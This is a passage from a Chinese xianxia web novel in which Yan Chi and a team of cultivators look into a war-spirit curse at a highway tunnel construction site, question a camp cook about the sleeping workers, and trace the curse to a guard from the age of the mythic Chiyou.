燕迟找了张最里面的床躺下,床是床板+凉席的方式,这种床板很硬,很硌人,但他小时候都睡习惯了,两眼一闭,不一会就睡入梦乡!
顾念海三人见状,也各自找了张床躺下,至于计划什么的,等醒来再说吧!
三个小时后!
“┗|`O′|┛奥~”
燕迟伸了个懒腰,从床上缓缓坐起,睡了一觉精气神足,但总感觉少了什么?
突然,他一拍脑袋想起来白樱还留在外面的车上看行李……
想到这,迷茫的眼神瞬间清醒了,连忙穿上鞋子,开门直奔远处的皮卡车!
嘤~
刚拉开车门,一道白影从车里窜出,跑到了阴影处!
“哎,……”
燕迟刚喊出声,就通过二者之间的联系感知到白樱的幽怨!
这小家伙在车上憋坏了!
还是先把行李搬下来吧。
燕迟的行李不多,就一个大皮箱加一个双肩包,皮箱里面装着换洗的随身衣物,加一些零碎用品,双肩包里装着一套装备以及一柄短刀还有一些吃食,如水果、煮熟密封保存的鸡胸肉什么的!
中午的饭局没有带上白樱,它自个在后座地板上铺了一张薄塑料,从包里翻出食物带到地板上吃!
燕迟搬下行李,顺手将地板上的残渣清理掉!
“白樱,走了!”
“嘤~”
小白狐从阴影中窜出,直接一个二连跳,跳上皮箱跃上背包跑到了燕迟肩膀上!
“嘤!嘤~嘤~”
小白狐的声音空灵清脆,就算是抱怨,也很是悦耳动听!
“哎!诶嘿!等回去了,我给你打一套装备,这样你就能跟着我了!”
“嘤~嘤嘤~”
“真的,乖哈~”
白狐心满意足的蹭蹭燕迟脸庞,一人一狐带着行李向房间走去!
回到房间,其他三人也已经醒了,坐在床边讨论着兵煞的事情!
“把行李先卸下来,喊上老王一起去现场看看情况!”
燕迟推开门说道,拖着皮箱放到床边!
现在看到的情况,只是杨工给他们看到的,不能仅听杨工一面之词就行动!
这老狐狸可精着呢!
“嘤~”
“不是和你一样的,很快你就见到了!”
放下背包,燕迟抓住小白狐逗弄,挠头、梳毛、吸白樱,好不惬意!
“燕顾,走了!”
房德的声音从外面传来,他们做好了出发的准备!
小王和顾念海坐皮卡,燕迟和宋应星、房德开着越野车跟在后面!
出事的飞来山距离项目部有七八公里,原本项目部是要跟着搬一段距离的,但出来事情就暂时下来!
路程走了一半,小王指挥车辆拐上了在建的高速路上,沿途的设备工具都堆放在道路两侧,空出一条十分宽大的车道,足以容纳三四两皮卡并排行驶!
车速刚提上来没两分钟,又得降下了!
前方不远处的道路两侧扎着好几个长长的大帐篷!
车辆一前一后缓缓驶过帐篷,可以通过帐篷的门窗看到里面躺着一个又一个的人。
他们面容平和,睡得死沉,房德中途按了多次喇叭,都没见到有人醒过来!
“这就是遭受兵煞的那些人?”
宋应星疑惑道,但语气却很是肯定!她留意到帐篷的门上窗上都挂有龙虎一脉的护身符!
“二、四、……十、十二!”
一连数到尽头,连房德都沉默了,十二间至少十来米长的大帐篷啊!这里面得躺了多少人!
少说也有一百来人吧!
若是这些人都因兵煞而死,那可是捅破天的大事情啊!
这下子,别说三人了,就连燕迟也感觉棘手了!
皮卡车在帐篷的尽头停下了,房德见状跟着停了车,三人一狐下车走到皮卡旁边!
“是他们!”
816所的年轻人小队,他们三人来自龙虎一脉!
顾念海认得他们,可是现在怎么就只见到两人?
“这么只有你们两个,还有一人呢?”
“唉!”为首的较矮的年轻人叹了口气,往旁边推开一步,无力的抬起手臂掀开帐篷门口!
映入眼帘的是一张简易折叠大桌子,桌子上笔墨纸砚样样俱全,一侧的镇纸上还压着一叠符篆!
众人恍然,难怪没有在项目部见到816所的小队,原来是呆在这里画符来了!
在桌子后面,有三张床铺,其中一张上有一年轻人睡得深沉,脸色苍白!
“你们队长这是……”
宋应星话说一半就捂住了嘴,已然猜了个十之八九!
兵煞入体!
事情貌似更棘手了!
若是按照时间线推,那么必定是小王以及这些工人遭受煞气在前,816所小队遭受煞气在后!
现如今,小王靠着一张护身符还能四处溜达,帐篷里这人还陷入沉睡中……
“他每天有多少清醒的时间!”
燕迟对着门口的两个年轻人问道!
两年轻人对视一眼然后说道:
“一个时辰,只在正午十分清醒,他的修为、根基尽废!”
嘶!X3
麻烦了,这兵煞有针对倾向!
众所周知,兵煞与其主人意志有关,意志不仅对兵煞的强度、形态有影响,更会决定兵煞的针对目标!
燕迟曾见过一柄战争年代遗留下来的大刀,那柄大刀上蕴含的兵煞极重,供奉在家里,魑魅魍魉都要避退千米,附近猛犬不敢高声叫唤!
据其主人所述,这柄刀是一名祖传铁
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匠的战士的传家宝,后因国破山河碎,满目遍疮痍,只身入了行伍!
那名战士唯一的愿望就是杀鬼子,每逢冲锋号响起,他必然冲锋在前,挥舞着大刀朝鬼子头上砍去!
只可惜,天有不测风云,有一次队伍中了埋伏,面对数十倍的兵力,那名战士挥着大刀带着队伍砍出了一条血路,可他却倒在了最后几步路!
唯一留下的嘱托便是:快走!带着刀!杀鬼子!
就是在那个时候,现在的那名主人握上了刀,接替那名战士冲杀在前,跟着队伍冲出包围圈!
再后来,他逢战必先,做到了挥着大刀朝鬼子头上砍去,
据他所说,只要握上大刀,他就感觉那名牺牲的战友陪伴在他身旁,这柄大刀为他挡下了不止三次致命伤,四颗子弹!
只要他握上刀柄,他仍有浑身的力气挥着大刀砍下鬼子头颅!
那柄大刀上的兵煞主守护,生死相随护主守家,志愿杀尽天下鬼子!
眼前这煞气不一样,它针对的倾向是有修为之人!
也不知煞气中残余的执念其根源有在何处?现在也只知针对修为之人这一项!
随后几人又和两名年轻人聊了一阵,也没得到什么有用信息,他们唯一一次靠近飞来山,队长倒下了,剩下他们俩苦哈哈的每天辛苦花符篆!
众所周知,符篆也不是百分百能画成功的,画符篆是会消耗法力、精神的,他们每天勤奋画符篆,也只够供应这十几间帐篷使用!
燕迟安慰两人几句,又留下一批符篆材料给他们,便带着队伍继续前进!
叭叭叭~
刺耳、难听的喇叭声自后方响起,顾念海听到声音瞟了眼后视镜,直接踩下刹车,坐在副驾驶的小王一个踉跄前倒,好在有安全带拉住了!
“顾顾、顾专家,发生什么事情了?”
小王不解的问,这距离飞来山还有七八百米距离,怎么就停下了?
“先下车!”
顾念海也不清楚发生了什么,但他知道后面车上的人不会在这个时候开玩笑!
“怎么了?”顾念海问。
“自己看!”
房德面色复杂的说道!他的目光看向前方,直勾勾的看着路面!
顾念海直接了当的开了法眼朝前方看去,转瞬倒吸一口冷气,他看到百来米开外的道路上有一道道暗红之气,就像是地里的野草般生得杂乱!
细的像手腕般细,粗的有半米粗,就像种在陆地上的海带,每道暗红之气与小王身上的同根同源!
更远处的隧道洞口,只能看到朦胧的一团红光!
“6。”
房德沉默半响,伸手拍了拍小王肩膀评价道。
顾念海已经不想说话,从最近的一道兵煞到远处隧道洞口,这一路上的兵煞淅淅沥沥的遍布了两条高速路!
“小王,你老实告诉我,你们在山洞里挖出来过奇怪的东西没有?”宋应星问道。
“没啊,都是很常见的石头!除了石头还是石头!”小王很肯定的说道!
房德刚想反驳就被宋应星拦住,她继续问道:
“你们挖这个隧道是用什么方法,有没有挖到过化石什么的?”
“这个隧洞开凿,最初是勾机炮筒开凿,等出现隧道洞口轮廓后,就改用爆破开凿法,到了隧道尽头,使用爆破开凿与勾机共同施工的方式!”
“化石?这个东西很常见,使用爆破开凿法很难留下完整的化石,残破的化石也没有收藏价值,很多时候都用来填路基了!”
小王不愧是专业的,各种实操说得头头是道!
6
29.都是自己作的
破案了!
把带兵煞的玩意摊匀了用来填路基,没被兵煞直接斩了都算他们命大!
房德看着小王摇摇头,真是可怜之人,必有可恨之处。
还好他们有燕迟提醒,若不然再走个几十米,甚至走到隧道洞口前再开法眼,必然会陷在兵煞之中,落得和年轻队长一个下场!
末法时代修行太难了,财、法、侣(指道侣:宏观上指修行路上志同道合者,道友、师长、伴侣等等;……)、地一样不能少,资质也不能差。
即使都有了,要修出一缕法力那也要几个时辰,甚至是几天,原因无他——唯积蓄太慢!
在末法时代修行修行便是这样子,整片天地法则潜隐,灵气稀薄,离天地远了,施法所消耗的法力就耗费更多,据说上古年间,一个刚踏入修行门槛的炼气修者,便能沟通上界,得到祖师回应!
(修行境界划分:炼气、筑基、结丹、金丹、元婴……)
而现在,非道行高深、福源深厚的筑基期修者数人甚至数十人合力,方能沟通祖师,窥得一言半句。
三人心中庆幸不已,此事也给他们敲响的警钟,凡是不能尽信,行事需多加小心。
顾念海则想得更深一些,若是事情好解决,叶所会派他们跟着燕迟一起来吗?
叶所啊……到底不是根正苗红的亲信!
“走吧,掉头!”
燕迟扭头重新回到车上,一上车,白狐便跳上肩膀和他贴贴!
顾念海、房德、宋应星也各自上了车,小王不解,慢了一拍,快上车了还嘀咕道:
“咱们不是要去隧道洞口前看看吗?”
“上车!”
顾念海不耐烦的催促,小王看起来是真无知,可这种人也最容易把他们带进沟里的。
杨工给的资料上也没有说过这个,这人真的没问题吗?
叭~
房德开着越野车绕圈掉头,临走时还按了喇叭打了个招呼!
顾念海只得按下心中疑虑,松刹车、踩离合挂挡、一脚油门快速掉头,跟上前面越野车的屁股!
车没走多远,回到了年轻人小队的帐篷前停下!
“燕顾问,你们回来了!”
“回来了!”
燕迟带着白樱下车和两个年轻人打招呼,他看了看里面躺着的年轻队长,仍是睡得深沉。
“我能进去看看他吗?”
两个年轻人对视一眼,左边较高的年轻人说道:“队长他还需要静养,我们不能做主,不如等队长醒了,您再过来看他?”
听出话里的拒绝,燕迟没有强求话题一转问道。
“你们在这里住挺辛苦的,吃喝拉撒不好解决吧?用不用我和叶所沟通下,帮你们搞点福利?”
“燕顾问,您的心意我们心领了,如果有需要,我们可以自己联系叶所就行,不用麻烦您了!”
“那你们吃喝怎么解决?”
“对面的帐篷杨工安排了三个阿姨来煮饭照顾这些工人,那边有锅有水,每天还有人送菜过来,我们借火煮饭也挺方便的。”
听到两人这么说,燕迟点点头,表示自己了解了!
“那你们先忙,我去看看这些工人的情况!”
“好!”
两个年轻人看着燕迟转身便回到帐篷里,顺手放下了帘子。
小白狐亲昵的用舌头给燕迟梳理头发,尾巴搭在他后颈上,尾尖自另一边肩膀垂落。
燕迟抬手揉了揉白樱顺滑的毛发,对着车旁的顾念海说道,
“你带小王绕过这座山,到隧道另一头看看情况!”
“好!”
顾念海应下后,就拉着小王上了车。
山是飞来山,这座山可一点都不小,光是隧道就有两公里长,想要凭借腿力绕路,那得跑好久,一路上上山下坡,大部分时候都要靠自己开路!
顺便说一个冷知识,高速公路的修建除了考虑联通的城市,更考虑到修建的难度,最关键的便是避免占用过多的农田、山地。
因此这年头的高速路经过的都是一些人畜罕迹的地方,除了接近城市的时候看到的农田、山地多些,其他时候要多荒凉有多荒凉,甚至偏僻到数十里看不到任何烟火!
“你们两个跟我看看这些工人的情况!”
燕迟对着房德、宋应星随口说道,
他先去的地方就是对面的帐篷,掀开帘子,便看到一口大锅,直径有一米多,旁边还有几个大高压锅,不远处的架子上堆放着油盐酱醋等调料、案板菜刀等,再往里处是堆放的柴火、米袋还有一些青菜冬瓜、土豆等能久放的菜!
这种摆放?
燕迟皱了皱眉,下意识看了看两边的帐篷脚看到了熟悉的东西。
两边的帐篷脚都有活动的轮子,此刻正和地钉绑在一起,整个帐篷口是用绳子与两边连接在一起,不煮饭的时候,把帐篷推过来,遮风挡雨。
要煮饭的时候,解开绳子,把帐篷缩回去就能露天煮饭菜,下雨也不慌,顶多是烧的火小一些,帐篷高有三米多,只要不是大火猛烧猛烤,这种篷布顶棚很难坏!
“阿姨,阿姨在不在?”
燕迟站在锅边喊道,这间大帐篷中间用了帘子隔断,另一侧应该就是阿姨休息的地方!
“谁啊!”
帘子背后传来声音,很快就有一名阿姨掀开一角帘子走了出来。
阿姨穿着朴素,身上的衣物都是那种常见的灰蓝色料子,她的面容清秀,看上去才三十出头。
“阿姨,我们是杨工请来的专家,过来看看情况!”
“什么专家?”
阿姨听着一脸茫然,没听懂说的什么意思。
燕迟看了一眼,知道自己是高估了阿姨的文化学历,直接说道。
“杨开知道不?我们就是他请过来的,过来找你问下情况。”
“哦!你们是老板的人,你问,你问,俺也不懂什么,俺知道的俺一点说。”
阿姨没听得很明白,但也热情得回应,杨开她认得,是大工头,他们的老板,他找来的人肯定有本事!
“这几天你们在这里煮饭,有没有遇见什么怪事?”
“不是几天,是十五天!”
阿姨边说边和他比手势,双掌张大摆平,然后左手放在右手右边比出十五、
看着阿姨一脸认真的模样,燕迟脸上的笑容浓郁了些,点点头说道:
“是十五天,是十五天,这些天遇到过什么怪事没?”
阿姨摇头又点头说道:“那些工人一个比一个睡得比俺家的猪都死算不算怪事?”
“还有吗?”
“除了他们,也没见啥怪事了!”
“俺跟你讲,那些个工人麻烦得很嘞,大部
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分还好,有一些睡觉一睡就是一天,醒来还嗷嗷喊饿,要俺说,饿死他们算了!”
燕迟笑着点点头,又问了阿姨几个问题,临走时随口问道。
“其他的阿姨呢?”
“哦,一个在睡觉,另一个在其他帐篷打转!”阿姨摆摆手说道!
“你继续休息,我去其他帐篷转转!”
“嗯,你要是遇到那个女人,告诉她快些回来煮饭!”
阿姨一听没她事情后,拜拜手转身回到帘子后面!
出来帐篷后,燕迟带着宋应星、房德往下一个帐篷走去。
“听出来什么没?”
宋应星点点头,她说:“这兵煞有问题,特别是针对修行者,还有这些工人,也有些奇怪!”
房德也赞同,他信誓旦旦道:“兵煞来头绝对不小,我的伏魔牌都裂出一道裂痕!”
什么!
这消息可震惊到了宋应星,这伏魔牌可是房德的底牌啊,平日里都是用法力蕴养的!
“房德,拿出伏魔牌给我看看!”她连忙说道
“喏!”
房德从怀里拿出伏魔牌递给宋应星,宋应星没有接,只是一眼就看到上面的裂痕,一道细小的裂痕自边缘起,裂向真武大帝像,裂痕在快触碰到木像时消泯了!
“嘶,好强的兵煞!”宋应星惊了!
这伏魔牌绝对是给房德挡灾了,平日里总得到法力蕴养得温润如玉,一点瑕疵都没有,这次被伤到了本体,出现一条裂痕,可以说是伤了元气。
房德翻了个白眼,这还用你说,他把伏魔牌贴身放好蕴养,要是再惹上兵煞,还能被动激发护体。
“燕顾问,这兵煞什么来头?”宋应星问道。
燕迟摇摇头,什么也没说朝着帐篷走起。
宋应星眯着眼看着他的背影,总感觉燕迟一定知道些什么。
女人的直觉一向很准,那燕迟到底在隐瞒什么呢?
“房德,背包给我,我要拿东西!”宋应星说道。
接过背包,她很快从包里取出来一个符篆小包,还有两个雕文繁杂的木镯子。
一一戴上后,宋应星方才觉得心安,房德接回背包,心照不宣地嘿嘿一笑。
只要叠的防护够多,哪怕中招了,也能有反应的时间!
帐篷里工人们睡得深沉,燕迟随机找了几个人把脉,发现他们身体很健康,气血充盈,!就是精神消耗过大。
宋应星和房德跟在后面看着,对这群工人碰也不碰,他们其实也没有干看着,是开了法眼的看。
一圈走下来,每名工人身上或多或少都有些许兵煞扎根,少的像手指粗,多的有手腕粗细。
期间也遇到了另一个阿姨,同样也是三十多,面容清秀,臀宽腰圆屁股大,走起路来一扭一扭的,身上穿的衣服更鲜艳些。(本句来自房德的评价。)
逛完一圈,三人又来到了阿姨帐篷外!
“阿姨,阿姨?”
“诶!来啦!”阿姨热情的回应,出来得很快。
“杨老板有没有让你们煮水给工人?”
“有的,有的,每天都煮嘞!”
阿姨领着几人走到一口大铝汤锅旁,揭开盖子给他们看,锅里除了大半锅水,底下还有三四块大骨头,还飘一个小纱袋。
“这老板对工人还不错!”房德看了眼评价道。
30.心善的杨老板
燕迟随手拿了个勺子把纱袋捞上来,一旁的阿姨不乐意了!
“哎,你这人怎么能乱整呢!”
“有意见去找杨老板!”
他冷漠道,直接搬出杨老板来压人,这招有点不讲理!
可阿姨就吃这套,一听到杨老板也就不理了,只是嘴里不停的嘟囔着“等杨老板来了,必须找他告状云云……”
没了阿姨干扰,燕迟打了瓢清水洗掉纱袋上的油污、血沫,打开袋子是几片叶子、颗粒、小红果。
“枸杞、肉苁蓉、淫羊藿、菟丝子、覆盆子、山茱萸、沙苑子……”
都是补肾壮阳、滋补养生的药物,有强身健体、祛风除湿等功效!
房德嘿嘿一笑!
这杨老板对手下工人不错啊,除了保障一日三餐还安排食补,工人们有福了!
“这袋我们带走了,你重新放一包!”燕迟说道。
“嗯,诶?这包都煮过了,要不要换包新的?”
阿姨先是一愣,随后露出‘惋惜’的笑容,这几个看着挺大个的、身强体壮的,只可惜年纪轻轻就……
她直接从案桌上的一个塑料袋子里掏出一个新的纱袋递给燕迟。
“你们用新的,这旧的没效果!”阿姨热情道!
房德和宋应星噗嗤一笑,燕迟回头看向他们,看到一个看天、一个看地,只是不断颤抖的肩膀出卖了此刻的心情。
有心解释,但感觉只会越描越黑!
察觉到这点,他的脸一下子就黑了下来,带着两个纱袋扭头就走!
“别走这么快,喝口汤再走,好喝得嘞!”
阿姨对着他的背影喊道,她不喊还好一喊燕迟走得更快了,房德和宋应星忍不住哈哈大笑,真的太有乐子了!
“走不走,不走我先回去了!”
燕迟降下后座的玻璃窗探出头问道!
“燕所,别,俺来了!”
房德连声应道,他和宋应星快步走到车旁上车开门坐上驾驶室,踩离合、松手刹、挂挡、油门一气呵成!
“有空过来啊!”
帐篷门口阿姨热情的挥手!
“开快点!”
燕迟催促道,将那袋没用过的纱袋抛向副驾驶的宋应星。
???
宋应星愣了愣,没想明白这纱袋抛给她干嘛,要抛也是给房德!
房德:你礼貌吗!
“燕所,您看出来了这是个什么情况?”房德问道。
“我不是燕所,要叫就叫燕顾问,或者直接喊我名字——燕迟。“燕迟认真纠正道。
“这哪能啊,您是我一天的燕所,您以后也一直都是我的燕所!”
房德的插科打诨燕迟没有应声,闭上眼睛打算休息,那个用过的纱袋已经用一个小塑料袋装好塞进车门上的小空格子中。
“燕所,燕所?您就讲一点些嘛,你知道的,我心里一直是向着您的!”
呵呵呵~
燕所不是叫他,车上的是燕迟,他没有理会房德!
“燕顾问,您就说一点嘛!”
“让宋应星告诉你!”
房德愣了瞬,她?她不是和我一起的?一直在我眼皮子底下,两个人什么时候聊过的?
“应星,燕顾问什么时候和你说的,我怎么不知道有这事?”
“燕顾问没和我说,只是一点猜测而已,或许这就叫英雄所见略同!”
宋应星捋了耳旁的头发,逗了下这个呆瓜脑袋。
“你不觉得这次的事件很奇怪吗?”
我们可不是第一批到的,甚至乎连第二批都不是,出事了才让我们赶过来处理,准确的说是燕顾问赶过来处理!
“有什么奇怪的,不都是这样吗?”
房德见怪不怪的说道,绝大部分的地方都这样,遇到事件→自己发动关系网→关系网解决不了→上报政府→816所小队处理→处理不了摇人→再处理不了再向上摇人!
打了小的来了老的,打完老的来了更老的,816所的老传统了!
“那你会直接找其他执事帮忙吗?或者摇人的时候,执事让另一执事的小队来完成任务?”
“如果事情吃力不讨好,我会……”
自问自答间,房德反应过来了,是啊!他都会,那还有谁不会?
所以这次的任务真的有问题!
那煞气就是最大的问题!
“你不觉得这兵煞霍霍的人过多了吗?”
“是有一点。”
“这哪是一点,分明就是一大片!如果我没有猜错,工地能干活的工人都没几个!”
“这正常吧?生病的人多了,干活的人就少了,反之亦然!”
宋应星陷入沉默,她错了,她检讨自己不应该卖关子,房德根本没有搭上她的思路,还试图把她拉到同一水平线!
“你施法试探兵煞,伏魔牌都裂了一道口子!”
“比我们来得更早的年轻队长,直接修为、根基尽废!”
“还有杨工口中的道长,当场暴毙!”
“所以你来回答我,没有修为的这群工人,是怎么招惹上兵煞的?就算是施工反噬,能反噬得这么多人?最严重的症状也不过是每天睡足十几二十个小时?”
没有对比就没有伤害,有这几个教训在前,工人们受到的代价只能算是毛毛雨!
甚至他们乐在其中也不一定,毕竟带薪睡觉是真香!
“刚刚我们绕着帐篷走了一圈,兵煞都对我们没反应,那就说明只要不主动招惹兵煞,就不会中招!”
“你好好想想,这么‘温和’的兵煞,这群工人是怎么做到全体中招的?”
话都说道这个份上了,房德的榆木脑袋也转过弯来了,这群工人哪来的这么大本事完成他们都没做到的事情!
兵煞、不、煞气又不是病毒,灰指甲,一个感染传播俩!
正常的煞气,凶猛的能连杀!柔弱的能像钝刀子割肉!
这次的兵煞则二者兼备,这与常理不符啊!
“你是说这兵煞不是天灾,而是人祸?”房德说道。
宋应星满意的点点头,总算是跟上思路了!
他们的意思是这兵煞是某个人或是某个势力的手笔,他们将兵煞养在山里,只待成熟之后再收割,只不过运气不好,被道路施工队撞上了!
“思路歪了!这兵煞是天灾,这些工人遭受的是人祸!”燕迟闭眼提醒道!
……
沉默,沉默是路上的风尘,沉默,沉默是发动机的轰鸣!
房德一言不发,他聪明了又没完全聪明,聪明了一半!
宋应星自我怀疑,她一直寸步不离的跟着燕迟,燕迟能看到的,她也能看到,到底是什么地方遗漏疏忽了?难道她的智商被房德拉低了?
“燕顾问,您就告诉我嘛!这兵煞是什么来头!不要卖关子了咩!”
房德‘娇羞’的声音就像是用二胡锯木头,物理兼精神的无差别范围伤害!
燕迟看了眼车窗外飞速倒退的景象,在考虑跳车与讲出实情之中选择了揭晓答案!
“这道兵煞来头可不小,能追溯到上古年间的逐鹿之战!……”
相传上古年间,黄帝与蚩尤为争夺天下共主——人皇之位而爆发战争,两人率领各自部落的战士展开厮杀!
蚩尤统领的部落是九黎族,九黎族是太古巫族遗脉,天生体魄强大、御使天地煞气、浊气如同手足,九黎族的族人每一个都是天生的战士体魄,为战而生,闻战喜,为战狂!
……
逐鹿之战以黄帝登临人皇共主之位、蚩尤战败尸分六处而镇之结束。
“这里难道是蚩尤墓?”房德惊诧道!
他内心有些跃跃欲试,想要掉头回去进隧道里面瞻仰一下老祖宗的丰功伟绩!
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>这可是蚩尤墓嘞,谁遇到不心动!
“不是!”
燕迟无情的击碎了房德的幻想,他这榆木脑袋也不想想,自己和神话中的蚩尤相差多大,这可是蚩尤啊!
一代君主,一代枭雄,巫族最后一代大巫,一生桀骜不驯,力抗神人的存在!
若是蚩尤的残余煞气,房德此刻已经大操大办了!
“但与蚩尤也有一定联系!”
“相传蚩尤麾下有八十一个骁勇善战的兄弟,这里葬下的是他兄弟的亲信,或者说是亲卫!”
……
“那山里面有几个人?”
“只葬了一个!”
……
房德脑子麻了,宋应星迭机了!
蚩尤的兄弟的亲卫!
这关系可真远了,前者是君主,中间是史书上的一言半句,后者一无名小卒,被历史湮灭的尘埃!
“燕迟,你是说这兵煞是一个小兵留下的?”
房德已经被打击坏了,连燕顾问都不喊了!
“嗯!”
房德此刻只想静静,也只想静静,油门都忘记踩了,车速慢慢降下来,好在这是一条在建高速路,路又直又宽,足够一辆越野车行驶!
反倒是一旁的宋应星很快接受了这个事情,她的注意力已经不在兵煞上了,而是好奇燕迟是怎么知道这种秘辛的!
她觉得哪怕是野史也不会去记载一个无名小卒的故事,那他又是如何得知的?
“燕顾问,你是从哪得知这种隐秘的?”
“只要不失去你的崇高,整个世界都会为你敞开!”
燕迟无头无脑的说了一句,然后闭目不在说话,任由她如何询问都没有给出回应!
返回的行程很是平静,每个人都很安静!
傍晚,临近饭点前,顾念海和小王终于回到了项目部!
“念海,我们先去吃饭!”宋应星招呼道!
餐厅里只有三桌菜,一桌他们的,一桌杨工他们的,还有一桌是小王他们这些现场管理人员的,因为兵煞的缘故,这段时间人到得很齐。
燕迟来到餐厅时,杨工他们也正好到了!
“杨老板,你住哪里?过会我有事找你!”
杨开愣了愣,然后笑着说道,”厨房正对面那间房间就是我住的了,随时欢迎燕顾问过来,我那的茶水可没杨经理的好,希望燕顾问不要介意。“
“好,饭后我去找你!”
燕迟说着拿着饭碗去打饭了,天大地大,吃饭最大!
晚上的饭菜和中午的一样,除了没有烤全羊,其他的都是照着中午的规格做的!
“你们有什么发现?”
顾念海坐到桌旁问道,一回来就发觉房德兴致缺缺,平日里吃饭最积极的他,现在居然会等人了!
应该是遇到什么事情了!
房德不做话,只是默默吃饭!
宋应星偏头和顾念海低声密语,讲述他们离开之后的事情!
饭菜过半,事情也说完了!
顾念海脸上浮现出一股笑意,难怪房德像个受气小媳妇!
“房德,你的心性不行啊,差点练度!”
“……”
房德不说话,只是夹了两筷子大肥扣肉放进顾念海碗里!
吃!
这么多菜堵不住你的嘴!
没有继续逗房德,顾念海将目光放在燕迟身上,若他说得都是真的,那么燕迟到底是什么人?
他的想法与宋英星不谋而合,这种埋于历史尘土的边角秘辛,燕迟是怎么知道的?
此刻,顾念海突然发现,过去七八年里,他对燕迟的了解真的少之又少!
幸好,这种问题也不用他去烦恼,上面还有高个的顶着,他只需要如实汇报即可!
“我吃饱了,你们继续!”
燕迟收拾碗筷离开了餐厅,去往餐厅对面的房间!